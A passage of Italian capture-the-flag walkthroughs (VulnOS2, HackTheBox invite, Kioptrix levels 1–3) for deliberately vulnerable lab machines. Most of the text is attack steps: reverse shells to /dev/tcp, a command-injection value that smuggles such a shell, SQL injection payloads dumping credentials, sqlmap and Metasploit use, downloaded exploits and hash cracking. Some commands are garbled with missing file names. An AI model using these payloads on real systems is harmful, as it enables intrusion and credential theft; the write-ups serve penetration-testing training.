Comando: ./webshell.sh "echo $(cat ~/.ssh/id_rsa.pub) > /home/django/.ssh/authorized_keys"

Ora è il momento di connettere SSH con l'utente django secondo il seguente comando:

Comando: ssh django@192.168.1.158 -p 23

Puoi anche ottenere la shell inversa digitando il seguente comando nel campo di input:

Comando: echo 'bash -i >& /dev/tcp/192.168.1.4/31337 0>&1' | bash

Qui 192.168.1.4 è l'IP della nostra macchina Kali Linux in cui abbiamo eseguito un comando, ad esempio " nc -lvp 31337 ", che inizia effettivamente ad ascoltare le connessioni in entrata sulla porta 31337 .

Ora prova ad entrare in .hiddenadmindirectory tramite terminale e digita " strings customPermissionApp " nel percorso " /home/bulldogadmin/.hiddenadmindirectory ".

L'utente attuale, ad esempio django, non ha i diritti per eseguire " customPermissionApp " ma possiamo provare a utilizzare le stringhe per capire almeno come funziona.

Questa è la stringa che potrebbe esserci utile:

SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL

Ora combinalo e sembrerà così

SUPERultHimatePASHSWORDyouHCANTgetdH34%(AWAVAAUATL

Ora torna al terminale e digita " sudo su root " per andare in root e digita la password sopra

Che mostra una password errata, ora prova a ripulire di più e la nostra nuova password sarà:

Evviva!, abbiamo effettuato l'accesso con successo tramite utente root 🙂

CTF – VulnOS2 – Procedura dettagliata passo dopo passo

   

Oggi vorremmo presentare la procedura dettagliata della sfida VulnOS2 . Ci auguriamo che tutto ciò che verrà fatto vi sia chiaro. VulnOS2 è una macchina virtuale da avvio a root ospitata su Vulnhub.

I VulnOS sono una serie di sistemi operativi deliberatamente vulnerabili impacchettati come immagini virtuali per migliorare le capacità di test di penetrazione

[#] Identificazione della macchina IP di VulnOS2 –

Il tuo primo passo per identificare l'indirizzo IP della macchina VulnOS2 con l'aiuto di Nmap o Netdiscover.

Con il metodo NMAP Ping Scan, il comando è:

Comando: nmap -sn 192.168.1.1/24

Qui puoi vedere che solo 4 host sono in stato UP e di cui 192.168.1.1 è l'indirizzo del gateway. 192.168.1.4 è l'indirizzo IP della macchina Kali Linux.

192.168.1.2 è l'indirizzo IP del mio router, quindi significa che l'indirizzo IP di VulnOS2 è 192.168.1.5

Con il metodo Netdiscover, il comando è:

Comando: netdiscover -r 192.168.1.1/24

[#] Trova servizi/porte attivi –

Per cominciare, utilizzeremo nuovamente lo strumento NMAP attraverso il quale possiamo facilmente trovare maggiori informazioni sui servizi, le loro versioni, le porte aperte ecc. rispetto alla macchina target.

Comando: nmap -A -T4 -sV -v -p- 192.168.1.5

Dallo screenshot sopra, sembra che siano aperte solo 3 porte, ovvero la porta 80 , la porta 22 e la porta 6667 (che sembra una porta phishy ma in realtà non lo è).

Ora la porta 80 significa che alcuni servizi Web sono in esecuzione su 192.168.1.5, quindi per confermare, apri http://192.168.1.5/ nel tuo browser.

Dopo il risultato della scansione delle porte, Nmap avvia la scansione dei servizi (-sV) e mostra le informazioni dettagliate sui servizi che la macchina VulnOS2 sta eseguendo insieme alle versioni.

Quindi qui puoi vedere che sulla porta 80 , il servizio Apache è in esecuzione con la versione 2.4.7 (Ubuntu) e sulla porta 22 , è in esecuzione un servizio SSH e sulla porta 6667 , il servizio IRC è in stato di esecuzione.

Visitando la destinazione in un browser, troviamo una descrizione della macchina, insieme a un collegamento al sito Web dell'azienda sul server e al sito Web nel percorso /jabc.

“### Pentest del sito Web dell'azienda sul server. Ottieni root del sistema e leggi il flag finale ###”

Seguendo il collegamento si accede al sito di destinazione http://192.168.1.5/jabc/

Controlla tutte le pagine una per una e all'improvviso abbiamo qualcosa di utile tra le mani dalla pagina della documentazione situata all'indirizzo http://192.168.1.5/jabc/?q=node/7

Codice:

Gentile Cliente,

Per motivi di sicurezza, questa sezione è nascosta.

Per una visione dettagliata e la documentazione dei nostri prodotti, visitare la nostra piattaforma di documentazione all'indirizzo /jabcd0cs/ sul server. Basta accedere con ospite/ospite

Grazie.

Ora abbiamo trovato un'altra directory nascosta http://192.168.1.5/jabcd0cs/ che mostra un pannello di accesso di OpenDocMan intitolato e richiede l'inserimento dei dettagli di accesso. Ora qui puoi provare alcuni attacchi di convalida dell'input come SQL Injection, XSS ecc.

Possiamo persino accedere come ospite con le credenziali guest:guest. Abbiamo anche controllato il codice sorgente che abbiamo piacere con la versione 1.2.7 di opendocman .

Cerchiamo gli exploit di OpenDocMan v1.2.7 con lo strumento Google/Searchsploit –

Con Google -

Con Searchsploit –

Comando: searchsploit opendocman

Dopo alcune ricerche e abbiamo trovato due utili exploit di CVE: 2014-1945 (SQL Injection) e CVE: 2014-1946 (Improper Access Control) attraverso i quali è possibile sfruttare facilmente il sito eseguendo SQL Injection con SQLMAP e ottenere vantaggi amministrativi completi accesso all'applicazione.

Con processo manuale -

http://192.168.1.5/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version(),3,4,5,6,7,8,9

Con lo strumento automatizzato SQLMAP –

Comando: sqlmap -u “http://192.168.1.5/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user” -p add_value –risk=3 –level=5 –threads=4

Per trovare database con SQLMAP –

Comando: sqlmap -u “http://192.168.1.5/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user” -p add_value –threads=4 –dbs

Troviamo le tabelle del Database “ jabcd0cs ”

Comando: sqlmap -u “http://192.168.1.5/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user” -p add_value –threads=4 –tables -D jabcd0cs

Comando: sqlmap -u “http://192.168.1.5/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user” -p add_value –threads=4 –columns -T odm_user -D jabcd0cs

Comando: sqlmap -u “http://192.168.1.5/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user” -p add_value –threads=4 –dump -T odm_user -D jabcd0cs

Ora la parte successiva è trovare il tipo di hash in modo da poterlo decrittografare e accedere all'applicazione con più autorizzazioni.

Per trovare l'hash, digita " hash-identifier " nel tuo terminale di comando.

Comando: identificatore hash

Ora sembra che l'hash sopra sia di tipo MD5, quindi basta aprire https://hashkiller.co.uk/md5-decrypter.aspx e decifrare il valore hash sopra.

OH! abbiamo ottenuto il valore reale dietro l'hash che è " webmin1980 ". Ora puoi effettivamente esplorare l'applicazione con i privilegi del ruolo di amministratore.

[#] Entrare in Shell con accesso root –

Non c'è più niente che possiamo fare con OpenDocMan, anche dopo aver effettuato l'accesso come utente webmin. Quindi abbiamo deciso di provare Password Reuse Attack con SSH.

Comando: ssh webmin@192.168.1.5

Yippie, abbiamo ottenuto l'accesso SSH dell'utente webmin.

Ora digita uname -a per trovare la versione del kernel.

Quindi il risultato è " Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux "

Facendo qualche ricerca in più, abbiamo trovato un altro exploit di Local Privilege Escalation .

Ora scarica l'exploit sopra digitando il seguente comando:

Comando: wget https://www.exploit-db.com/download/37292.c

Ora compila ed esegui l'exploit digitando i seguenti comandi:

Comando: chmod +x 37292.c
Comando: gcc -o        37292.c
Comando: chmod +x      
Comando: ./      

Per ottenere la shell bash, digita python -c 'import pty; pty.spawn(“/bin/bash”)'

Pwned !!!! Ora siamo root. L'unica cosa rimasta è trovare la bandiera. Proviamo ad elencare i file nella nostra home directory ~root:

Proviamo a trovare più utenti scavando nella directory /home .

Ora sembra che esista un altro utente chiamato " vulnosadmin " ma non hai i permessi per accedere a questo utente.

Quindi torna a main e abbiamo già visto un altro file chiamato " post.tar.gz " che sembra essere di nuovo un file interessante. Estraiamo il file digitando " tar zxvf post.tar.gz "

Dallo screenshot sopra, rivela chiaramente che i file sono correlati a Hydra, il che suggerisce che potrebbe esserci un sistema/applicazione di cui abbiamo bisogno per la forza bruta.

Inoltre, abbiamo eseguito questo comando per controllare tutti i servizi " netstat -tul "

Ancora una volta abbiamo trovato un servizio utile, ovvero MYSQL e POSTGRESQL

Invece di usare hydra sulla macchina target, abbiamo inoltrato la porta 5432 usando ssh digitando il seguente comando:

Comando: ssh webmin@192.168.1.5 -L 5432:localhost:5432

Ora prova a forzarlo con Metasploit Framework con Auxiliary Scanning Module

Comando: msfconsole
Comando: use ausiliario/scanner/postgres/postgres_login
Comando: set RHOSTS 127.0.0.1
Comando: run

Bravo! abbiamo ottenuto il tentativo di accesso riuscito dell'utente postgres. Quindi usiamo pg_dumpall per estrarre tutti i database a cui abbiamo accesso.

Comando: PGPASSWORD=”postgres” pg_dumpall -U postgres -h localhost -p 5432

Dopo aver cercato in questa discarica, troviamo qualcosa di interessante.

Diamo questa password ( c4nuh4ckm3tw1c3 ) per andare contro l' utente vulnosadmin locale , usando il comando su.

Inoltre, abbiamo trovato un altro file interessante chiamato r00t.blend che sembra essere un file creato con lo strumento Blender3D.

Basta scaricare questo file r00t.blend nella tua macchina Kali Linux e aprirlo tramite lo strumento blender che puoi facilmente installare tramite " apt-get install blender ".

Comando: scp vulnosadmin@192.168.1.5:/home/vulnosadmin/r00t.blend /

Questo è in realtà un altro metodo per ottenere la password di root tramite il file r00t.blend .

Proviamo a connettere SSH dell'utente root con la password sopra, ad esempio " ab12fg//drg "

Comando: ssh root@192.168.1.5

Appunti -

Aggira la registrazione degli inviti di HacktheBox.eu

   

Hack The Box è una piattaforma online che ti consente di mettere alla prova le tue capacità di test di penetrazione e scambiare idee e metodologie con altri membri con interessi simili. Contiene diverse sfide che vengono costantemente aggiornate. Alcuni di loro simulano scenari del mondo reale e altri si inclinano maggiormente verso uno stile di sfida CTF.

HackTheBox ha attualmente 55 macchine vulnerabili.

Per unirti a HackTheBox , devi prima risolvere una piccola sfida di invito e poi puoi solo registrarti. Ecco il link per la pagina Invite/Join –  https://www.hackthebox.eu/invite

Analizza correttamente il codice sorgente e troverai alcuni file JS interessanti che sono:

Quindi inviteapi.min.js  è quello che genera il codice di invito che si trova su  https://www.hackthebox.eu/js/inviteapi.min.js

Ora aprilo e puoi vedere alcune funzioni della console come POST , makeInviteCode, verificheInviteCode  ecc.

Premi F12 e vai in Modalità console, dove puoi effettivamente vedere il banner di HackTheBox .

Ora digita " makeInviteCode() " nel terminale della console.

La funzione makeInviteCode() genera il codice di invito inviando " POST " a " /api/invite/how/to/generate ". Una volta che il post è stato inviato, arrivano i dati.

Non appena esegui la funzione sopra all'interno della finestra della console, otterrai il codice 200 Response con alcuni dati crittografati in formato ROT13 o Base64.

 

Questo è il testo crittografato che abbiamo ottenuto: " Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/vaivgr/trarengr " in formato ROT13.

ROT13 ("ruota di 13 posizioni", a volte con trattino ROT-13) è un semplice cifrario di sostituzione di lettere che sostituisce una lettera con la tredicesima lettera dopo di essa, nell'alfabeto. ROT13 è un caso speciale del cifrario di Cesare, sviluppato nell'antica Roma.

Per decodificare il testo sopra con ROT13, vai su  http://www.rot13.com/

Quindi il testo originale dietro questa crittografia ROT13 è " Per generare il codice di invito, fai una richiesta POST a /api/invite/generate ".

Significa che è necessario inviare una richiesta POST al sito tramite il collegamento /api/invite/generate per generare il codice di invito per la registrazione.

Per inviare una semplice richiesta POST, puoi utilizzare BurpSuite oppure puoi semplicemente utilizzare il componente aggiuntivo HackBar (v1.1.7) che è disponibile gratuitamente per il browser Firefox e può essere installato tramite le estensioni.

Premi di nuovo F12 e vedrai la nuova scheda di HackBar dove puoi effettivamente inviare la richiesta POST come da screenshot qui sotto.

Come puoi vedere, il server accetta la richiesta POST e risponde con un messaggio di successo che contiene nuovamente testo crittografato che è in formato BASE64 e può essere facilmente decodificato su  https://www.base64decode.org/

Quindi questo è il tuo codice di invito originale che ti aiuta a registrarti nel sito Web HackTheBox.eu .

Puoi anche generare il codice di invito con un file python di cui hai bisogno per scaricarlo nella tua macchina Linux digitando il seguente comando:

Comando: wget https://raw.githubusercontent.com/ihebski/HackTheBox/master/inviteCode.py

Esegui lo script python sopra digitando " python inviteCode.py " e otterrai il codice di invito per la registrazione nel sito Web HackTheBox.eu.

CTF – Kioptrix Livello 1 – Guida dettagliata

   

Kioptrix è una delle migliori serie per superare l'esame OSCP. Questa VM in tutta onestà era piuttosto semplice in termini di complessità poiché il suo obiettivo principale era insegnarti le basi nell'uso e nello sfruttamento degli strumenti. Ci sono altri 4 livelli in questa serie e diventa sempre più difficile e complesso. Quindi allacciati e resta sintonizzato per saperne di più!

Il primo passo che dobbiamo fare è effettuare una raccolta di informazioni. Ciò include host, server, ecc. Footprinting e Fingerprinting. Se vuoi saperne di più sulle procedure e sui passaggi corretti, ti suggerisco di leggere il Penetration Testing Quick Cheatsheet .

Leggi anche:  Ogni Penetration Tester che dovresti sapere su questo - Regole di ingaggio

Poiché la VM è ospitata sul nostro sistema personale utilizzando una modalità NAT su VMWare, andremo avanti e analizzeremo la nostra rete per vedere se non riusciamo a ottenere l'indirizzo IP.

Per fare ciò, digita il seguente comando nel tuo terminale:

Comando: netdiscover -i eth0 192.168.36.0/24

Quindi il nostro indirizzo IP di destinazione della macchina Kioptrix è 192.168.36.129 e l'indirizzo IP della macchina Kali Linux è 192.168.36.128 . La prossima cosa è fare una scansione Nmap contro il target per scoprire i servizi e le porte in esecuzione.

Comando: nmap -sS -T5 -Pn 192.168.36.129

Come puoi vedere, le seguenti porte sono aperte:

Dall'output sopra, sembra che la porta 139 sia utilizzata dal servizio Netbios-ssn , quindi il nostro prossimo compito è scansionare il target con lo strumento NBTSCAN.

Informazioni su NBTSCAN –  Si tratta di uno strumento della riga di comando che esegue la scansione dei server dei nomi NETBIOS aperti su una rete TCP/IP locale o remota.

Per eseguire la scansione con Nbtscan, digita il seguente comando nel tuo terminale Linux:

Comando: nbtscan 192.168.36.129

Dall'output sopra, sembra che la vittima o il bersaglio stia utilizzando una sorta di servizio di condivisione SAMBA, quindi il nostro prossimo compito è scoprire la versione del servizio SAMBA con l'aiuto di Metasploit Framework.

Per avviare Metasploit Framework, digita  "msfconsole " nella tua macchina Linux.

Digita il seguente comando sotto msf>:

Comando: usa ausiliario/scanner/smb/smb_version
Comando: mostra opzioni
Comando: imposta RHOSTS 192.168.36.129
Comando: esegui

Quindi qui abbiamo scoperto la versione del servizio SAMBA che è Samba 2.2.1a.

Quindi l'exploit che useremo è Samba Trans2Open Overflow che è disponibile su Rapid7.

Informazioni su Samba Trans2Open Overflow –

Questo sfrutta l'overflow del buffer presente nelle versioni di Samba dalla 2.2.0 alla 2.2.8. Questo particolare modulo è in grado di sfruttare la falla sui sistemi Linux x86 che non hanno l'opzione stack noexec impostata. NOTA: alcune versioni precedenti di RedHat non sembrano essere vulnerabili poiché apparentemente non consentono l'accesso anonimo a IPC.

Puoi anche utilizzare il comando " cerca trans2open " per scoprire tutti gli exploit disponibili relativi a suddetta vulnerabilità.

Digita  "use exploit/linux/samba/trans2open " per utilizzare l'exploit di cui sopra.

Per vedere tutte le opzioni disponibili relative a questo exploit, digitare " mostra opzioni ".

Imposta l'obiettivo con l'aiuto di  "set RHOST 192.168.36.129 " ed esegui l'exploit.

L'exploit sembrava funzionare, ma le sessioni di Meterpreter stavano morendo praticamente all'istante. Stavamo usando il payload predefinito ( linux/x86/meterpreter/reverse_tcp ) e abbiamo provato a passare a " generic/shell_reverse_tcp ".

Per impostare il payload, digitare  "set payload generic/shell_reverse_tcp " e quindi eseguire l'exploit.

Ha funzionato immediatamente e abbiamo la nostra shell di root!

Puoi anche sfruttare questa macchina VM con un altro metodo, ad esempio con Apache Exploit .

Per fare ciò, esegui una scansione del servizio Nmap sul tuo target con il seguente comando:

Comando: nmap -sS -A -n 192.168.36.129

Dai un'occhiata alle porte aperte come la porta 80 utilizzata da HTTP con Apache versione httpd 1.3.20 e la porta 22 utilizzata da SSH con OpenSSH versione 2.9p2. L'ultima versione di Apache è la 2.4.29 e in questo caso la versione del server apache del nostro target sembra essere molto vecchia, cioè la 1.3.20.

Dopo una rapida ricerca su Google per le versioni Apache e OpenSSL , ci imbattiamo in OpenSSL OpenF**k Exploit !

Per scaricare l'exploit di cui sopra, digita il seguente comando nel tuo terminale Linux.

Comando: wget https://www.exploit-db.com/download/764.c

Ora, prima di salvare/eseguire/compilare qualsiasi cosa, dobbiamo modificare l'exploit perché funzioni, dato che è piuttosto vecchio!

Aggiungi le seguenti righe nell'intestazione:

#include <openssl/rc4.h>
#include <openssl/md5.h>

Aggiorna l'URL di packetstormsecurity e sostituiscilo con " https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c "

Dopo la sostituzione, ecco come appare;

Installa anche la  libreria libss1.0-dev con l'aiuto di " apt-get install libssl1.0-dev ".

Aggiorna la dichiarazione della variabile sulla riga n. 916 e aggiungi il  const all'inizio di unsigned char *p, *end .

Ecco come appare dopo aver aggiunto il  const.

Ora è il momento di compilare l'exploit con l'aiuto di GCC Compiler.

Per fare ciò, digita " gcc -o exploit 764.c -lcrypto ".

Andiamo avanti ed eseguiamo l'exploit digitando il seguente comando:

Comando: ./exploit 0x6b 192.168.36.129 443 -c 40

Evviva! abbiamo la radice!

CTF – Kioptrix Livello 2 – Guida dettagliata

   

Kioptrix: Level 1.1 (Level 2) è la seconda VM della serie Kioptrix che può essere trovata qui . Le VM kioptrix sono destinate a chiunque voglia iniziare a dedicarsi al pentesting o voglia sostenere l'esame OSCP.

Avvia la tua macchina VM di livello 2 Kioptrix1.1 e otterrai l'immagine simile di seguito che richiede una sorta di accesso e il tuo compito è entrare nella shell di root e accedere a tutti i file.

Quindi la tua prima parte è ottenere l'indirizzo IP di questa macchina che puoi facilmente ottenere tramite  lo strumento netdiscover  digitando il seguente comando nel tuo terminale.

Comando: netdiscover -i eth0 -r 192.168.36.0/24

Nota: assicurati che la tua macchina Kali Linux e la macchina VM Kioptrix siano nella stessa modalità NAT.

Quindi l'IP della tua macchina VM Kioptrix è 192.168.36.130 e l'IP della tua macchina Kali Linux è 192.168.36.128. Andiamo avanti e impronteamo tutte le porte e i servizi con l'aiuto dello strumento Nmap.

Comando: nmap -sS -A -n 192.168.36.130

Come puoi vedere, le seguenti porte sono in stato aperto:

Dalla scansione iniziale, sembra che il servizio SSH sia in esecuzione sulla porta 22 e anche il servizio Apache sia in esecuzione sulla porta 80 e sulla porta 443, il che è interessante per tutti noi.

Inoltre, sulla porta 3306, è in esecuzione anche Mysql Service, il che significa che dovrebbe esserci un qualche tipo di connettività DB, quindi le possibilità di SQL Injection sono molto ALTE.

Sulla porta 631 è in esecuzione il servizio CUPS (Common Unix Printing System) la cui versione è 1.1. Una rapida ricerca su Google ci ha mostrato che CUPS presentava molteplici vulnerabilità.

Proviamo anche a richiamare il sito della porta 80/443 in un browser che mostra una sorta di pagina di accesso.

Quindi, ogni volta che trovi una pagina di accesso, il tuo primo passo è bypassarla con SQL Injection (String based) . Puoi provare a bypassarlo con il seguente payload:

Se vuoi saperne di più su SQL Injection, ti consiglio di leggere questo articolo di Chetan Soni .

Perfetto! L'iniezione SQL ha funzionato e siamo in grado di accedere alla pagina successiva, che sembra un prompt dei comandi Ping!

Possiamo testare questo prompt dei comandi Ping provando a eseguire il ping della nostra macchina Kali Linux ( 192.168.36.128 ).

Va bene! Sembra che il comando ping funzioni e che il codice php stia eseguendo comandi di sistema. A questo punto, possiamo provare a vedere se lo script php è vulnerabile a Command Injection .

Tornando alla pagina principale del comando Ping, andiamo avanti e digitiamo: 192.168.36.128;ls;id;whoami

Quello che fa, è fondamentalmente dire al sistema di eseguire il ping sulla nostra macchina Kali Linux, quindi eseguire il comando ls, il comando id e il comando whoami.

Tecnicamente il “ ; Il simbolo ” è un separatore di comandi.

Carino! Lo script è vulnerabile all'iniezione di comandi ! Pertanto, possiamo andare avanti e tentare di invocare una Reverse Shell.

Iniziamo configurando un listener Netcat sulla porta 1337 digitando il seguente comando nel terminale della macchina Kali Linux.

Comando: nc -nlvp 1337

Ora, torniamo alla console Ping sul sito Web ed eseguiamo il seguente comando:

Comando:  127.0.0.1; bash -i >& /dev/tcp/192.168.36.128/1337 0>&1

Questo fondamentalmente avvierà una connessione TCP inversa usando bash all'indirizzo IP della tua macchina ( 192.168.36.128 nel nostro caso), sulla porta 1337 .

Perfetto! Siamo riusciti a connetterci al computer della vittima e sembra che attualmente stiamo utilizzando il normale account utente. Il nostro prossimo passo da qui sarebbe eseguire un'escalation dei privilegi per poter accedere all'account root.

Iniziamo vedendo quale versione di Linux è in esecuzione sul sistema digitando  uname -a comando.

Dopo una rapida ricerca su Google rispetto alle versioni Linux, siamo riusciti a trovare un exploit di escalazione dei privilegi chiamato ip_append_data_() Ring0 .

Scarica l'exploit nel tuo Kali Linux digitando il seguente comando:

E riavvia il servizio Apache in modo da poter trasferire direttamente l'exploit dalla macchina Kali Linux alla macchina Kioptrix.

Ma ecco una piccola svolta: non hai i permessi per scaricare alcun file nella directory principale, quindi passa alla cartella /tmp ed esegui il seguente comando:

Ora è il momento di compilare l'exploit con l'aiuto di GCC Compiler e dare 755 permessi al file generato.

Eseguiamo l'exploit digitando  ./       nella stessa console.

Congratulazioni, hai ottenuto il root.

CTF – Kioptrix Level 3 – Procedura dettagliata passo dopo passo

   

Kioptrix: Level 1.2 (Level 3) è la terza VM della serie Kioptrix che può essere trovata qui . Le VM kioptrix sono destinate a chiunque voglia iniziare a dedicarsi al pentesting o voglia sostenere l'esame OSCP.

Avvia la tua macchina Kioptrix 1.2 nel tuo Vmware ed esegui lo strumento netdiscover dalla tua macchina Kali Linux.

Otterrai l'elenco completo di tutti gli host collegati alla tua rete. Quindi il tuo IP di destinazione della macchina Kioptrix è 192.168.36.131.

Cosa importante con questa sfida. Una volta trovato l'IP (client DHCP), modifica il file hosts e indirizzalo a kioptrix3.com

C'è un'applicazione web coinvolta, quindi per avere tutto bello e correttamente visualizzato devi davvero farlo.

Digita il seguente comando per modificare il file host e aggiungi la seguente parte di codice al suo interno.

Comando: gedit /etc/hosts

Una volta aperto e modificato il file hosts, assicurati che sia simile al seguente:

127.0.0.1 localhost
127.0.0.1 kali
192.168.36.131 kioptrix3.com

Se utilizzi Windows, il percorso del file host è C:\Windows\System32\drivers\etc\hosts .

Eseguiamo Nmap per vedere quali porte/servizi sono aperti durante l'esecuzione di Kioptrix VM.

Comando: nmap -sS -A -n 192.168.36.131

Dall'output sopra, puoi vedere che solo la porta 80 e la porta 22 sono aperte. La porta 80 viene utilizzata dal servizio HTTP con la versione Apache 2.2.8 e la porta 22 viene utilizzata da SSH con la versione OpenSSH 4.7p1 .

Quindi andiamo avanti e navighiamo nel sito Web inserendo l'indirizzo IP della macchina nel nostro browser, ad esempio http://192.168.36.131/ .

Sembra essere un'applicazione dinamica in esecuzione sulla porta 80 con una pagina del blog e una pagina di accesso.

Avviamo nikto per vedere se non riusciamo a trovare errori di configurazione e vulnerabilità.

Comando: nikto -h 192.168.36.131

Phpmyadmin è stata la prima cosa in cui ci siamo fermati al primo sguardo, utilizzato per la gestione del database che si trova su http://192.168.36.131/phpmyadmin/ .

Dopo quello che vedremo con Phpmyadmin, esploriamo meglio l'applicazione web. Quindi, nella pagina del blog, abbiamo trovato un altro collegamento interessante, ad esempio http://kioptrix3.com/gallery

Clicca su “ Sala Stampa Ligoat ”

Dopo aver sfogliato quella pagina dell'album, abbiamo visto che in uno dei collegamenti siamo stati in grado di ordinare le foto in base a determinati valori.

La cosa che ha davvero attirato la nostra attenzione qui è stato il parametro " id " nell'URL. Quindi abbiamo tentato di inserire una singola virgoletta (  ' ) per provare a vedere se l'applicazione era vulnerabile a SQL Injection.

E sì! È vulnerabile a SQL Injection perché genera l'errore:

"Hai un errore nella sintassi SQL, controlla il manuale che corrisponde alla tua versione del server MySQL per la sintassi corretta da usare vicino a" ordina per parentid, sort, name "alla riga 1 Impossibile selezionare la categoria"

C'è un ottimo tutorial di SQL Injection che ti consigliamo di leggere prima di sfruttare questa applicazione, solo così hai una buona comprensione di ciò che stiamo facendo.

Ad ogni modo, cercheremo di spiegare il meglio che possiamo mentre procediamo.

Quindi il tuo primo passo è trovare il numero di colonne. Il modo più semplice per farlo è scrivere il numero di colonna "ordina per" e aggiungere "- -" dopo il numero. Quindi inseriremo una query per ottenere l'errore. Ora, ciò che facciamo è disporre tutte le colonne in ordine.

I nostri collegamenti dovrebbero assomigliare a questo:

http://kioptrix3.com/gallery/gallery.php?id=1 ordine per 1– ( nessun errore )
http://kioptrix3.com/gallery/gallery.php?id=1 ordine per 2– ( nessun errore )
http://kioptrix3.com/gallery/gallery.php?id=1 ordine per 3– ( nessun errore )
http://kioptrix3.com/gallery/gallery.php?id=1 ordine per 4– ( nessun errore )
http://kioptrix3.com/gallery/gallery.php?id=1 ordine per 5– ( nessun errore )
http://kioptrix3.com/gallery/gallery.php?id=1 ordine per 6– ( nessun errore )
http://kioptrix3.com/gallery/gallery.php?id=1 order by 7– ( Errore – Sconosciuto Colonna )

Lo faremo fino a quando non viene visualizzato nelle colonne sconosciute. Se mostra l'errore di colonna sconosciuto su N, significa che ha il numero totale di colonne N-1 perché mostra il contenuto in ordine per N-1 quindi in questo caso il numero di colonne è 6.

Ricerca di colonne accessibili

Ora che abbiamo il numero di colonne, dobbiamo ottenere i numeri di colonna da cui possiamo ottenere informazioni. Possiamo farlo aggiungendo un " - " prima di " 1 " sostituendo " order by # " con " union all select " e numero di colonne.

Il nostro link dovrebbe assomigliare a questo: http://kioptrix2.com/gallery/gallery.php?id=-1 union all select 1,2,3,4,5,6–

Dovremmo ottenere dei numeri.

Ottenere la versione del database

Abbiamo scoperto che le colonne 2 e 3 sono vulnerabili, quindi le useremo per ottenere la versione del database e alcune altre informazioni come nome utente, ecc. Possiamo trovare altre informazioni utilizzando alcune cose. Una cosa che ogni persona dovrebbe tenere a mente è: più informazioni hai, più potente sarai.

Prendiamo la colonna 3 , quindi il nostro link dovrebbe assomigliare a questo: http://kioptrix3.com/gallery/gallery.php?id=-1 union all select 1,@@version,database(),4,5,6–

Nel nostro caso abbiamo ottenuto 5.0.51a-3ubuntu5.4 in modo da poter continuare a enumerare i nomi delle tabelle. Se la versione di SQL è superiore alla 5.0.0, significa che ha lo schema.

Lo schema è proprio come un indice di tutti i database.

Ora dobbiamo ottenere il nome della tabella a cui vogliamo accedere:

Per farlo dobbiamo sostituire database() con group_concat(table_name) e aggiungere dopo l'ultimo numero di colonne da information_schema.tables dove table_schema=database() e aggiungere il “–” alla fine.

Il link dovrebbe essere così: http://kioptrix.com/gallery/gallery.php?id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() –

Carino! Ora siamo in grado di vedere tutte le tabelle memorizzate nel database! Il dev_accounts sembra davvero promettente, andiamo avanti e vediamo se riusciamo a scoprire le colonne contenute in quella tabella.

Quindi il nostro nuovo URL è http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=CHAR(100, 101, 118, 95, 97, 99, 99, 111, 117, 110, 116, 115)–

La sezione CHAR() nella query SQL è in realtà il nome della tabella dev_accounts . Questo deve essere fatto altrimenti la query SQL fallirà.

Qui abbiamo convertito il testo dev_accounts in formato ASCII con l'aiuto del sito web " http://www.unit-conversion.info/texttools/ascii/ " e aggiunto " table_name=char(100, 101, 118, 95, 97 , 99, 99, 111, 117, 110, 116, 115)– ” alla fine dell'URL.

Il nostro attacco finale è ottenere i dati perché abbiamo il nome della tabella, il nome delle colonne e il nome del database. Ora cerchiamo le colonne denominate " username " e " password ".

Rimuovi tutto dopo l'1 e aggiungi: " from dev_accounts– " E sostituisci " group_concat(column_name) " con " group_concat(username,0x3a,password) ".

Qui, 0x3a è il valore ASCII di a ( : ) quindi possiamo separare il nome utente dalla password e il nostro URL finale sarà: http://kioptrix3.com/gallery/gallery.php?id=-1 union select 1, group_concat(username,0x3a,password),3,4,5,6 FROM dev_accounts–

E hai finito.

Bene! Abbiamo 2 nomi utente e password.

feccia: 0d3eccfb887aabd50f243b3f155c0f85 , solitario: 5badcaf789d3d1d09794d8f021f40f0e

Puoi anche utilizzare uno strumento di sfruttamento SQL già pronto per entrare nel database chiamato  SQLMAP .

Ora il prossimo passo è decifrare gli hash con l'aiuto di MD5 Decrypter .

Per Hash  5badcaf789d3d1d09794d8f021f40f0e , l'hash craccato è starwars

Per  0d3eccfb887aabd50f243b3f155c0f85 , l'hash craccato è Mast3r

Inoltre, puoi anche utilizzare lo strumento " identificatore hash " per verificare il tipo di hash se è MD5, SHA1 o qualsiasi altro.

Per decifrare l'hash, puoi anche utilizzare lo strumento hashcat che è preinstallato nella macchina Kali Linux.

Salva entrambi i valori hash in un file di testo denominato " hash.txt ".

Ed esegui il seguente comando per decifrare gli hash con HASHCAT.

Comando: hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt –force

Va bene! abbiamo il vero testo dietro questi hash.

Entriamo in SSH nella macchina Kioptrix con le nostre credenziali appena trovate con l'utente loneferret.

Comando: ssh loneferret@192.168.36.131
Password: starwars

Ok, a questo punto dobbiamo aumentare i nostri privilegi a root! abbiamo già effettuato alcune ricognizioni iniziali della Kioptrix Machine tramite SSH e ci siamo imbattuti in quanto segue.

Il file  CompanyPolicy.README sembra essere un file interessante, vediamo il contenuto di questo file con l'aiuto del comando CAT.

Sembrava che l'utente con cui eravamo attualmente connessi avesse i permessi sudo per l' editor di testo xterm-256color . Inizialmente, possiamo tentare di modificare il file /etc/sudoers in modo da poter elevare i nostri privilegi, quindi facciamo proprio questo!

Se per qualche motivo ricevi un errore quando provi a eseguire sudo ht , esporta semplicemente xtrem-color come TERM come abbiamo fatto di seguito.

Dovremmo vedere il file sudoers aprirsi in questo modo.

Da qui premi ALT+ , quindi con i tasti freccia vai su Open , quindi premi Invio .

Dopo aver premuto Apri , ti verrà chiesto di inserire un nome file. Digita /etc/sudoers per aprire il file sudoers per la modifica.

